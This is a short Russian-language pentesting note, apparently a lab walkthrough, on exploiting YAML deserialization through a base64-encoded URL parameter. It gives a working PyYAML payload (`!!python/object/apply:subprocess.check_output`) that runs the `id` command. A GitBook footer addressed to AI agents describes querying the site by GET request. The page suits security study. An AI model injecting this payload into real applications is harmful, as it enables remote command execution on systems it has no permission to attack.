> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md).

# Десериализация YAML через Base64 URL

В **URL**, содержимое, отображаемое в описании, закодировано в **base64**:

<figure><img src="/files/0ccde43faa550bb5f6828fb31834a38e02be4a25" alt=""><figcaption></figcaption></figure>

Если мы декодируем текст из base64, мы видим, что это действительно соответствует тексту:

<figure><img src="/files/2187a36e41772eb6deffcd34ca3a2faa5ba9db66" alt=""><figcaption></figcaption></figure>

Мы проводим тест, чтобы проверить, можем ли мы **изменить это содержимое** с нашей стороны. Необходимо добавить "yaml:":

<figure><img src="/files/4da8c2a4312cc7a4dee9bf8b903ad88c0d088a33" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b7e6a818ac8400dab84f4841df09ccd88c2e4f97" alt=""><figcaption></figcaption></figure>

Затем мы пытаемся внедрить команды, в данном случае **id** команду, следующим образом:

```bash
yaml: !!python/object/apply:subprocess.check_output ['id']

```

<figure><img src="/files/f3912d3421f59ad757805f736cabda888381d6d1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c766ec9bf52e34b5cd5b8a7917c883f614dc289c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
